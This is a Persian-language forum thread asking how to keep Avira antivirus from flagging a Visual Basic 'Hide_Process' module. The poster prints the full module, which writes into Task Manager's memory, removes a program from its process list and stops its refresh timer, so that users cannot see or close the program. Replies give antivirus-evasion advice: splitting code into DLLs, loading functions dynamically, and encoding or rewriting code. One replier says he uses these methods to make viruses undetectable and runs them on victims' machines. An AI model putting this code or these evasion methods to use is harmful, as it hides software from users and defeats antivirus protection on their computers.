اطلاعیه

Collapse
No announcement yet.

راهی برای جلوگیری از گیردادن انتی ویروس اویرا 2013 به ماژول Hide_process

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • راهی برای جلوگیری از گیردادن انتی ویروس اویرا 2013 به ماژول Hide_process

    با یاد خدا
    سلام دوستان
    این مطلب رو تو برنامه نویس هم مطرح کردم به جایی نرسید
    انتی ویروس ها گاهی به رفتار های مشکوک گیر میدن
    گاها پیش میومد انتی ویروس به کپی فایل ساده هم گیر میداد و مجبور میشدم روش کار رو تغییر بدم
    الان برنامه ای نوشتم که نمیخوام کاربر اون رو ببنده مگه اینکه از مسیر خودش بره؛ برای این کار از ماژول زیر استفاده کردم اما دیدم انتی ویروس اویرا 2013 به اون گیر میده
    یکم دستکاری کردم ماژول رو اما باز گیر میده
    خواستم ببینم دوستان راهی برای تغییر کار این ماژول یا دستکاری اون دارن که انتی ویروس بهش گیر نده
    اینم یه سایت برای تست فایل که یه سری انتی ویروس از جمله اویرا توش هست اگه نصب ندارید
    http://virusscan.jotti.org/en
    اینم ماژول
    http://uploadtak.com/images/i613_Hp.zip
    خدایا! دلم از ظلم و ستم گرفته است، تو را به عدالتت سوگند می‏دهم كه مرا در زمره ستم‏گران و ظالمان قرار ندهی.
    خدایا! می‏خواهم فقیری بی‏‏ نیاز باشم، كه جاذبه‏ های مادی زندگی، مرا از زیبایی و عظمت تو غافل نگرداند.
    خدایا! خوش دارم گمنام و تنها باشم، تادر غوغای كشمكش‏های پوچ مدفون نشوم.
    خدایا! دردمندم، روحم از شدت درد می‏سوزد، قلبم می‏جوشد، احساسم شعله می‏كشد، و بندبند
    وجودم از شدت درد صیحه می‏زند، تو مرا در بستر مرگ آسایش بخش.
    (شهید دکتر چمران)

  • #2
    سلام

    اين رو تقريبا يه 5 - 6 سالي ميشه كه آنتي ها ميگيرن ! (روشش خيلي قديميه و براي همه ابزارها نميشه ازش استفاده كرد !)
    چند تا راه داري تا همه نتونن پروسست رو ببندن :
    1 - پروسست رو سيستمي كن.
    2 - يه سرويس براي پروسست تعريف كني و از طريق اون اجراش كني.

    و يا اينكه پروسس رو به يه پروسس ديگه اينجكت كني.



    موفق باشيد.

    Comment


    • #3
      ممنون از پاسختون
      جلوگیری از بسته شدن پروسس یه طرف قضیه هست و اینکه اصلا در لیست پروسس ها قابل نمایش نباشه طرف دیگه قضیه
      راههای پیشنهادی شما همشون برای جلوگیری از بسته شدن پروسس هست اما من به دنبال راهی برای مخفی کردن اون هستم
      همونطور که در بالا گفتم خودم این ماژول رو ننوشتم که بتونم روش مانور بدم لذا از دوستان کسی هست که مکانیسم کار این ماژول رو توضیح بده
      کدهای کوتاهی هم داره
      با توجه به توابع API ی که استفاده کرده در مورد تخصیص حافظه در میان حافظه یه پروسه دیگه و .... هست اما میخواستم بدونم این ماژول کلا چکار میکنه
      جالب اینجاست که در این ماژول به چیزی که گیر میده تابع WriteProcessMemory هستش حالا نمیدونم تابع معادلی داریم یا نه
      کد رو هم من میزارم که جلو دست باشه
      کد:
      Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
      Public Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
      Public Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
      Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
      Public Declare Function WaitForSingleObject Lib "kernel32.dll" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
      Public Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
      Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
      Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
      Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
      Public Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
      Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
      Public Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
      Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
      Public Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
      Public Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
      Public Type bkh3
      flag As Long
      psz As Long
      lParam As Long
      pt As Long
      vkDirection As Long
      End Type
      Public Sub Hide_Process(Name As String)
          On Error Resume Next
          Dim pName As Long
          Dim pType As Long
          Dim l As Long
          Dim Tid As Long
          Dim hTid As Long
          Dim Pid As Long
          Dim h As Long
          Dim i As Long
          Dim hProcess As Long
          Dim f As bkh3
          Dim s As String
          Dim bkh3() As Byte
      h = FindWindow(vbNullString, "Windows Task Manager")
      KillTimer h, 0
      h = FindWindowEx(h, 0, "#32770", vbNullString)
      h = FindWindowEx(h, 0, "SysListView32", vbNullString)
      If h = 0 Then Exit Sub
      f.flag = 8 Or &H20
          Call GetWindowThreadProcessId(h, Pid)
          hProcess = OpenProcess(1082, 0, Pid)
          bkh3 = StrConv(Name, vbFromUnicode)
          pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
          WriteProcessMemory hProcess, pName, VarPtr(bkh3(0)), Len(Name), l
          f.psz = pName
          pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
          WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
          i = SendMessage(h, &H1000 + 13, 0, pType)
          If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
          VirtualFreeEx hProcess, pType, Len(f), &H8000
          VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
          CloseHandle hTid
      End Sub
      خدایا! دلم از ظلم و ستم گرفته است، تو را به عدالتت سوگند می‏دهم كه مرا در زمره ستم‏گران و ظالمان قرار ندهی.
      خدایا! می‏خواهم فقیری بی‏‏ نیاز باشم، كه جاذبه‏ های مادی زندگی، مرا از زیبایی و عظمت تو غافل نگرداند.
      خدایا! خوش دارم گمنام و تنها باشم، تادر غوغای كشمكش‏های پوچ مدفون نشوم.
      خدایا! دردمندم، روحم از شدت درد می‏سوزد، قلبم می‏جوشد، احساسم شعله می‏كشد، و بندبند
      وجودم از شدت درد صیحه می‏زند، تو مرا در بستر مرگ آسایش بخش.
      (شهید دکتر چمران)

      Comment


      • #4
        کدهات رو تکه تکه کن و تبدیل کن به تابع و بریز تو dll و بعدش از برنامه اصلی call کن بهشون.
        من از این روش برنامه هام رو در اکثر آنتی ها undetect میکنم.
        صد سال ره مسجد و ميخانه بگيري
        عمرت به هدر رفته اگر دست نگيري

        بشنو از پير خرابات تو اين پند
        هر دست که دادي به همان دست بگيري...

        Comment


        • #5
          ممنون اخه نمیخوام کار به dll بکشه میخوام همه چیز تو خودش حل بشه
          درضمن اگه شما یه نگاه به ماژول بندازید فرایند زیادی نداره
          من اومدم بررسی کردم دیدم همه چیز زیر سر تابع write.... هستش اگه اون نباشه انتی گیر نمیده
          اونم که یه تابع api اماده اس کاریش نمیشه کرد
          البته من نمیدونم شاید بخاطر وجود سایر توابع در کنار این تابع هست که انتی ویروس مشکوک شده به رفتارش چون احتمال زیاد اگه تنهایی لود اجراش کنم انتی ویروس گیر نده
          حالا نمیدونم اخرین کاری که مونده بکنم اینکه کل عملیات این ماژول رو تبدیل به کلاس کنم اینجوری شاید دور بزنم
          اما در کل خواستم ببینم دوستان راه حل پیشنهادی یا تابع جایگزینی سراغ ندارن
          خدایا! دلم از ظلم و ستم گرفته است، تو را به عدالتت سوگند می‏دهم كه مرا در زمره ستم‏گران و ظالمان قرار ندهی.
          خدایا! می‏خواهم فقیری بی‏‏ نیاز باشم، كه جاذبه‏ های مادی زندگی، مرا از زیبایی و عظمت تو غافل نگرداند.
          خدایا! خوش دارم گمنام و تنها باشم، تادر غوغای كشمكش‏های پوچ مدفون نشوم.
          خدایا! دردمندم، روحم از شدت درد می‏سوزد، قلبم می‏جوشد، احساسم شعله می‏كشد، و بندبند
          وجودم از شدت درد صیحه می‏زند، تو مرا در بستر مرگ آسایش بخش.
          (شهید دکتر چمران)

          Comment


          • #6
            نوشته اصلی توسط Delphi_7 نمایش پست ها
            کدهات رو تکه تکه کن و تبدیل کن به تابع و بریز تو dll و بعدش از برنامه اصلی call کن بهشون.
            من از این روش برنامه هام رو در اکثر آنتی ها undetect میکنم.
            تکه تکه کردن کد( shadow attack) میگن نیار به config دقیقی داره و این که از روی dll لودشدن نیاز به permision دارید uac

            مخفی کردن فایل از تسک نسبت به کرنل ویندوز و پک ان تغییر می کنه بهترین را Microsoft msdn هست

            code.msdn.microsoft.com

            Comment


            • #7
              اقا من هیچ وقت میونه خوبه با این msdn نداشتم بخصوص انلاینش
              سرچ هم زدم چیزی در خصوص مخفی کردن پروسس در تسک منجر نداشت شما اگه چیزی به چشمتون خورده بزارید ممنون میشم
              خدایا! دلم از ظلم و ستم گرفته است، تو را به عدالتت سوگند می‏دهم كه مرا در زمره ستم‏گران و ظالمان قرار ندهی.
              خدایا! می‏خواهم فقیری بی‏‏ نیاز باشم، كه جاذبه‏ های مادی زندگی، مرا از زیبایی و عظمت تو غافل نگرداند.
              خدایا! خوش دارم گمنام و تنها باشم، تادر غوغای كشمكش‏های پوچ مدفون نشوم.
              خدایا! دردمندم، روحم از شدت درد می‏سوزد، قلبم می‏جوشد، احساسم شعله می‏كشد، و بندبند
              وجودم از شدت درد صیحه می‏زند، تو مرا در بستر مرگ آسایش بخش.
              (شهید دکتر چمران)

              Comment


              • #8
                سلام

                مكانيزمش اينه كه تايمر تسك منيجر رو از كار ميندازه و نميزاره تا ليست رو دوباره لود كنه و ببينه كه برنامه شما هم كار ميكنه و اين خودش ايراد داره چون اگه يكي ببينه كه اطلاعات رفرش نميشه با ابزار ديگه مياد تست ميكنه و اونوقت هست كه ميبينه و ميبنده پروسس رو !



                موفق باشيد.

                Comment


                • #9
                  شما مطمئن هستین که میاد تایمر رو از کار میندازه ؟
                  چون اگه این ماژول رو در برنامه ای استفاده کنید میبینید لیست پردازش ها توسط تایمر پشت سر هم بارگذاری میشه پس این نیست که تایمر از کار میفته
                  حالا دو سوال پیش میاد
                  اول اینکه وقتی وارد فضای ادرس برنامه تسک منجر میشه چجوری تایمر رو از کار میندازه
                  دوم اینکه این ماژول میاد این برنامه رو از لیست پردازش های تسک منجر اون هم با بدست اوردن هندل پنجره لیست برمیداره که من چند تابع اخر رو نگرفتم چجوری کار میکنه
                  یعنی تا جایی که فضای ادرسش رو میگیره و یه فضا اونجا برای خودش تخصیص میده رو متوجه میشم اما بعدا چکار میکنه رو نمیدونم
                  خدایا! دلم از ظلم و ستم گرفته است، تو را به عدالتت سوگند می‏دهم كه مرا در زمره ستم‏گران و ظالمان قرار ندهی.
                  خدایا! می‏خواهم فقیری بی‏‏ نیاز باشم، كه جاذبه‏ های مادی زندگی، مرا از زیبایی و عظمت تو غافل نگرداند.
                  خدایا! خوش دارم گمنام و تنها باشم، تادر غوغای كشمكش‏های پوچ مدفون نشوم.
                  خدایا! دردمندم، روحم از شدت درد می‏سوزد، قلبم می‏جوشد، احساسم شعله می‏كشد، و بندبند
                  وجودم از شدت درد صیحه می‏زند، تو مرا در بستر مرگ آسایش بخش.
                  (شهید دکتر چمران)

                  Comment


                  • #10
                    سلام

                    دقيقا داره همين تايمر رو از كار ميندازه !!!
                    براي از كا انداختن تايمر هم فقط لازمه كه شماره دسترسي پنجره رو داشته باشي ! و اون 0 هم براي از كار انداختن تايمر هست و اگه به جاش 1 بزاري ميبيني كه كار نميكنه در واقع تايمر رو فعال ميكنه !

                    بقيه كارا هم براي اينه كه اگه تسك منجر قبل از برنامه شما اجرا شده بود چون اسم برنامه ميره تو ليست اونو از ليست تسك منجر پاك كنه و براي اجراي درست اين كدها بايد تو يه تايمر اجراشون كني.
                    و براي اينكه آنتي ها رو دور بزني ميتوني كدها رو به چند بخش تقسيم كني و توي توابع مختلف و يا تايمرهاي مختلف اجراشون كني !!!



                    موفق باشيد.

                    Comment


                    • #11
                      بیشتر کدها بی به خصوص اونایی که پابلیک میشن به صورت مورد شناسایی شرکتهای امنیتی در میان

                      پس توصیه اول فایلها رو تا میتونی پابلیک نکن

                      کدها رو میتونی

                      1-با دستکاری های کوچیک غیر شناسایی کنی مدت زمان کوتاه


                      2-کدکنیش


                      3-بازنویسی وتغیرات اثاثی بدی


                      من مثلا با همین روش ها ویروسها..... قابل شناسایی رو،غیر قابل شناسایش میکنم و رو سیستم قربانی اجرا....

                      Comment


                      • #12
                        توابعت رو به صورت داینامیک لود کن ببین بازم گیر میده یا نه

                        انجام پروژه های نرم افزاری در کمترین زمان و نازلترین قیمت
                        برای تماس به آیدی Arashjeyjey در یاهو مسنجر پیام بدید.

                        http://www.jeyjey.blogfa.com

                        Comment

                        Working...
                        X